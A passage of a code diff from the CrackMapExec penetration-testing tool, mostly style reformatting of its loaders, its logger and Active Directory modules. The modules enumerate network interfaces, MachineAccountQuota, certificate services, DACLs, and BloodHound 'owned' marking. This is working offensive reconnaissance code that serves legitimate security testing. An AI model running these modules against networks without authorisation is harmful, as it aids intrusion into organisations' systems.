path_join(CME_PATH, "modules"),
]
for path in modules_paths:
for module in os.listdir(path):
if module[-3:] == '.py' and module != 'example_module.py':
module_path = os.path.join(path, module)
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py":
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
modules.update(module_data)
return modules
+19 -14
View File
@@ -2,37 +2,42 @@
# -*- coding: utf-8 -*-
import types
from importlib.machinery import SourceFileLoader
import os
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists, expanduser
import cme
class ProtocolLoader:
def __init__(self):
self.cme_path = os.path.expanduser('~/.cme')
self.cme_path = expanduser("~/.cme")
def load_protocol(self, protocol_path):
loader = SourceFileLoader('protocol', protocol_path)
loader = SourceFileLoader("protocol", protocol_path)
protocol = types.ModuleType(loader.name)
loader.exec_module(protocol)
return protocol
def get_protocols(self):
protocols = {}
protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
protocol_paths = [
path_join(dirname(cme.__file__), "protocols"),
path_join(self.cme_path, "protocols"),
]
for path in protocol_paths:
for protocol in os.listdir(path):
if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
protocol_path = os.path.join(path, protocol)
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {'path': protocol_path}
protocols[protocol_name] = {"path": protocol_path}
db_file_path = os.path.join(path, protocol_name, 'database.py')
db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
if os.path.exists(db_file_path):
protocols[protocol_name]['dbpath'] = db_file_path
if os.path.exists(db_nav_path):
protocols[protocol_name]['nvpath'] = db_nav_path
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
return protocols
+43 -28
View File
@@ -1,6 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
@@ -18,11 +19,13 @@ class CMEAdapter(logging.LoggerAdapter):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[RichHandler(
console=cme_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)]
handlers=[
RichHandler(
console=cme_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
)
self.logger = logging.getLogger("cme")
self.extra = extra
@@ -40,25 +43,34 @@ class CMEAdapter(logging.LoggerAdapter):
if self.extra is None:
return f"{msg}", kwargs
if 'module_name' in self.extra.keys():
if "module_name" in self.extra.keys():
if len(self.extra["module_name"]) > 8:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
# If the logger is being called from CMEServer
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
# If the logger is being called from a protocol
if "module_name" in self.extra.keys():
module_name = colored(self.extra["module_name"], 'cyan', attrs=["bold"])
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
else:
module_name = colored(self.extra["protocol"], 'blue', attrs=["bold"])
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
return f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
def display(self, msg, *args, **kwargs):
"""
@@ -75,17 +87,17 @@ class CMEAdapter(logging.LoggerAdapter):
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def success(self, msg, *args, **kwargs):
def success(self, msg, color='green', *args, **kwargs):
"""
Print some sort of success to the user
"""
try:
if 'protocol' in self.extra.keys() and not called_from_cmd_args():
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs)
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@@ -95,7 +107,7 @@ class CMEAdapter(logging.LoggerAdapter):
Prints a completely yellow highlighted message to the user
"""
try:
if 'protocol' in self.extra.keys() and not called_from_cmd_args():
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
@@ -105,16 +117,16 @@ class CMEAdapter(logging.LoggerAdapter):
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def fail(self, msg, *args, **kwargs):
def fail(self, msg, color='red', *args, **kwargs):
"""
Prints a failure (may or may not be an error) - e.g. login creds didn't work
"""
try:
if 'protocol' in self.extra.keys() and not called_from_cmd_args():
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs)
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@@ -127,10 +139,10 @@ class CMEAdapter(logging.LoggerAdapter):
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
for handler in self.logger.handlers:
try:
try:
for handler in self.logger.handlers:
handler.handle(
logging.LogRecord(
LogRecord(
"cme",
20,
"",
@@ -140,8 +152,8 @@ class CMEAdapter(logging.LoggerAdapter):
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
@@ -151,7 +163,7 @@ class CMEAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
open(output_file, 'x')
open(output_file, "x")
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
@@ -168,18 +180,21 @@ class CMEAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.cme") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
if not os.path.exists(newpath):
os.makedirs(newpath)
log_filename = os.path.join(
os.path.expanduser(
"~/.cme"
),
os.path.expanduser("~/.cme"),
"logs",
f"full-log_{datetime.now().strftime('%Y-%m-%d')}.log"
datetime.now().strftime('%Y-%m-%d'),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
return log_filename
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
+8 -12
View File
@@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# Airbus CERT
# module by @mpgn_x64
from ipaddress import ip_address
@@ -10,23 +10,21 @@ from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class CMEModule:
name = 'ioxidresolver'
class CMEModule:
name = "ioxidresolver"
description = "Thie module helps you to identify hosts that have additional active interfaces"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
"""
""" """
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
stringBinding = r'ncacn_ip_tcp:%s' % connection.host
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
@@ -38,13 +36,11 @@ class CMEModule:
context.log.debug("[*] Retrieving network interface of " + connection.host)
#NetworkAddr = bindings[0]['aNetworkAddr']
# NetworkAddr = bindings[0]['aNetworkAddr']
for binding in bindings:
NetworkAddr = binding['aNetworkAddr']
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
+15 -14
View File
@@ -1,31 +1,32 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
"""
Module by Shutdown and Podalirius
Module by Shutdown and Podalirius
Initial module:
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
Initial module:
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
Authors:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
Authors:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
"""
def options(self, context, module_options):
pass
name = 'MAQ'
description = 'Retrieves the MachineAccountQuota domain-level attribute'
supported_protocols = ['ldap']
name = "MAQ"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def on_login(self, context, connection):
def on_login(self, context, connection):
result = []
context.log.display('Getting the MachineAccountQuota')
searchFilter = '(objectClass=*)'
attributes = ['ms-DS-MachineAccountQuota']
context.log.display("Getting the MachineAccountQuota")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0])
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
+34 -33
View File
@@ -11,9 +11,10 @@ class CMEModule:
Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash)
"""
name = 'adcs'
description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names'
supported_protocols = ['ldap']
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@@ -28,21 +29,21 @@ class CMEModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
"""
self.context = context
self.regex = re.compile('(https?://.+)')
self.regex = re.compile("(https?://.+)")
self.server = None
if module_options and 'SERVER' in module_options:
self.server = module_options['SERVER']
if module_options and "SERVER" in module_options:
self.server = module_options["SERVER"]
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
"""
if self.server is None:
search_filter = '(objectClass=pKIEnrollmentService)'
search_filter = "(objectClass=pKIEnrollmentService)"
else:
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
self.context.log.highlight('Using PKI CN: {}'.format(self.server))
self.context.log.highlight("Using PKI CN: {}".format(self.server))
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
@@ -57,18 +58,19 @@ class CMEModule:
sizeLimit=0,
searchControls=[sc],
perRecordCallback=self.process_servers,
searchBase='CN=Configuration,' + base_dn_root
searchBase="CN=Configuration," + base_dn_root,
)
else:
resp = connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ')',
attributes=['certificateTemplates'],
sizeLimit=0, searchControls=[sc],
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
searchControls=[sc],
perRecordCallback=self.process_templates,
searchBase='CN=Configuration,' + base_dn_root
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail('Obtained unexpected exception: {}'.format(str(e)))
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
def process_servers(self, item):
"""
@@ -82,30 +84,29 @@ class CMEModule:
cn = None
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'dNSHostName':
host_name = attribute['vals'][0].asOctets().decode('utf-8')
if str(attribute['type']) == 'cn':
cn = attribute['vals'][0].asOctets().decode('utf-8')
elif str(attribute['type']) == 'msPKI-Enrollment-Servers':
values = attribute['vals']
for attribute in item["attributes"]:
if str(attribute["type"]) == "dNSHostName":
host_name = attribute["vals"][0].asOctets().decode("utf-8")
if str(attribute["type"]) == "cn":
cn = attribute["vals"][0].asOctets().decode("utf-8")
elif str(attribute["type"]) == "msPKI-Enrollment-Servers":
values = attribute["vals"]
for value in values:
value = value.asOctets().decode('utf-8')
value = value.asOctets().decode("utf-8")
match = self.regex.search(value)
if match:
urls.append(match.group(1))
except Exception as e:
entry = host_name or 'item'
entry = host_name or "item"
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
if host_name:
self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name))
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
if cn:
self.context.log.highlight('Found CN: {}'.format(cn))
self.context.log.highlight("Found CN: {}".format(cn))
for url in urls:
self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url))
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
def process_templates(self, item):
"""
@@ -118,15 +119,15 @@ class CMEModule:
template_name = None
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'certificateTemplates':
for val in attribute['vals']:
template_name = val.asOctets().decode('utf-8')
for attribute in item["attributes"]:
if str(attribute["type"]) == "certificateTemplates":
for val in attribute["vals"]:
template_name = val.asOctets().decode("utf-8")
templates.append(template_name)
except Exception as e:
entry = template_name or 'item'
entry = template_name or "item"
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'")
if templates:
for t in templates:
self.context.log.highlight('Found Certificate Template: {}'.format(t))
self.context.log.highlight("Found Certificate Template: {}".format(t))
+30 -37
View File
@@ -7,12 +7,14 @@
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class CMEModule:
name = 'bh_owned'
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -26,69 +28,60 @@ class CMEModule:
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and 'URI' in module_options:
self.neo4j_URI = module_options['URI']
if module_options and 'PORT' in module_options:
self.neo4j_Port = module_options['PORT']
if module_options and 'USER' in module_options:
self.neo4j_user = module_options['USER']
if module_options and 'PASS' in module_options:
self.neo4j_pass = module_options['PASS']
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
try:
from neo4j.v1 import GraphDatabase
except:
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
if context.local_auth:
domain = connection.conn.getServerDNSDomainName()
domain = connection.conn.getServerDNSDomainName()
else:
domain = connection.domain
host_fqdn = (connection.hostname + "." + domain).upper()
uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError as e:
context.log.fail(
"Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
sys.exit()
except ServiceUnavailable as e:
context.log.fail("Neo4J does not seem to be available on {}. See --options".format(uri))
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug("Error : ".format(str(e)))
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
with session.begin_transaction() as tx:
result = tx.run(
"MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
if len(value) > 0:
context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(
"Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn))
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
driver.close()
+220 -202
View File
@@ -17,80 +17,80 @@ OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
# Universal SIDs
WELL_KNOWN_SIDS = {
'S-1-0': 'Null Authority',
'S-1-0-0': 'Nobody',
'S-1-1': 'World Authority',
'S-1-1-0': 'Everyone',
'S-1-2': 'Local Authority',
'S-1-2-0': 'Local',
'S-1-2-1': 'Console Logon',
'S-1-3': 'Creator Authority',
'S-1-3-0': 'Creator Owner',
'S-1-3-1': 'Creator Group',
'S-1-3-2': 'Creator Owner Server',
'S-1-3-3': 'Creator Group Server',
'S-1-3-4': 'Owner Rights',
'S-1-5-80-0': 'All Services',
'S-1-4': 'Non-unique Authority',
'S-1-5': 'NT Authority',
'S-1-5-1': 'Dialup',
'S-1-5-2': 'Network',
'S-1-5-3': 'Batch',
'S-1-5-4': 'Interactive',
'S-1-5-6': 'Service',
'S-1-5-7': 'Anonymous',
'S-1-5-8': 'Proxy',
'S-1-5-9': 'Enterprise Domain Controllers',
'S-1-5-10': 'Principal Self',
'S-1-5-11': 'Authenticated Users',
'S-1-5-12': 'Restricted Code',
'S-1-5-13': 'Terminal Server Users',
'S-1-5-14': 'Remote Interactive Logon',
'S-1-5-15': 'This Organization',
'S-1-5-17': 'This Organization',
'S-1-5-18': 'Local System',
'S-1-5-19': 'NT Authority',
'S-1-5-20': 'NT Authority',
'S-1-5-32-544': 'Administrators',
'S-1-5-32-545': 'Users',
'S-1-5-32-546': 'Guests',
'S-1-5-32-547': 'Power Users',
'S-1-5-32-548': 'Account Operators',
'S-1-5-32-549': 'Server Operators',
'S-1-5-32-550': 'Print Operators',
'S-1-5-32-551': 'Backup Operators',
'S-1-5-32-552': 'Replicators',
'S-1-5-64-10': 'NTLM Authentication',
'S-1-5-64-14': 'SChannel Authentication',
'S-1-5-64-21': 'Digest Authority',
'S-1-5-80': 'NT Service',
'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines',
'S-1-16-0': 'Untrusted Mandatory Level',
'S-1-16-4096': 'Low Mandatory Level',
'S-1-16-8192': 'Medium Mandatory Level',
'S-1-16-8448': 'Medium Plus Mandatory Level',
'S-1-16-12288': 'High Mandatory Level',
'S-1-16-16384': 'System Mandatory Level',
'S-1-16-20480': 'Protected Process Mandatory Level',
'S-1-16-28672': 'Secure Process Mandatory Level',
'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access',
'S-1-5-32-555': 'BUILTIN\Remote Desktop Users',
'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders',
'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators',
'S-1-5-32-558': 'BUILTIN\Performance Monitor Users',
'S-1-5-32-559': 'BUILTIN\Performance Log Users',
'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group',
'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers',
'S-1-5-32-562': 'BUILTIN\Distributed COM Users',
'S-1-5-32-569': 'BUILTIN\Cryptographic Operators',
'S-1-5-32-573': 'BUILTIN\Event Log Readers',
'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access',
'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers',
'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers',
'S-1-5-32-577': 'BUILTIN\RDS Management Servers',
'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators',
'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators',
'S-1-5-32-580': 'BUILTIN\Remote Management Users',
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
}
@@ -166,12 +166,12 @@ class ACCESS_MASK(Enum):
# Simple permissions are combinaisons of extended permissions
# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN
class SIMPLE_PERMISSIONS(Enum):
FullControl = 0xf01ff
Modify = 0x0301bf
ReadAndExecute = 0x0200a9
ReadAndWrite = 0x02019f
FullControl = 0xF01FF
Modify = 0x0301BF
ReadAndExecute = 0x0200A9
ReadAndWrite = 0x02019F
Read = 0x20094
Write = 0x200bc
Write = 0x200BC
# Mask ObjectType field enum
@@ -194,9 +194,10 @@ class CMEModule:
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = 'daclread'
description = 'Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options.'
supported_protocols = ['ldap']
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
@@ -221,43 +222,43 @@ class CMEModule:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
exit(1)
if module_options and 'TARGET' in module_options:
if re.search(r'^(.+)\/([^\/]+)$', module_options['TARGET']) is not None:
if module_options and "TARGET" in module_options:
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options['TARGET'], "r")
self.target_file = open(module_options["TARGET"], "r")
self.target_sAMAccountName = None
except Exception as e:
context.log.fail("The file doesn't exist or cannot be openned.")
else:
self.target_sAMAccountName = module_options['TARGET']
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.target_SID = None
if module_options and 'TARGET_DN' in module_options:
self.target_DN = module_options['TARGET_DN']
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
if module_options and 'PRINCIPAL' in module_options:
self.principal_sAMAccountName = module_options['PRINCIPAL']
if module_options and "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if module_options and 'ACTION' in module_options:
self.action = module_options['ACTION']
if module_options and "ACTION" in module_options:
self.action = module_options["ACTION"]
else:
self.action = 'read'
if module_options and 'ACE_TYPE' in module_options:
self.ace_type = module_options['ACE_TYPE']
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
else:
self.ace_type = 'allowed'
if module_options and 'RIGHTS' in module_options:
self.rights = module_options['RIGHTS']
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
else:
self.rights = None
if module_options and 'RIGHTS_GUID' in module_options:
self.rights_guid = module_options['RIGHTS_GUID']
if module_options and "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
@@ -278,13 +279,17 @@ class CMEModule:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal),
attributes=['objectSid']
)[0][1][0][1][0]
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
attributes=["objectSid"],
)[0][
1
][0][
1
][0]
)
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
except Exception as e:
context.log.fail('Principal SID not found in LDAP (%s)' % _lookedup_principal)
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
exit(1)
# Searching for the targets SID and their Security Decriptors
@@ -295,17 +300,16 @@ class CMEModule:
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1')
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=self.principal_raw_security_descriptor)
context.log.highlight('Target principal found in LDAP (%s)' % self.target_principal[0])
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
except Exception as e:
context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName)
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
exit(1)
if self.action == 'read':
if self.action == "read":
self.read(context)
if self.action == 'backup':
if self.action == "backup":
self.backup(context)
# If there are multiple targets
@@ -318,23 +322,22 @@ class CMEModule:
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1')
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=self.principal_raw_security_descriptor)
context.log.highlight('Target principal found in LDAP (%s)' % self.target_sAMAccountName)
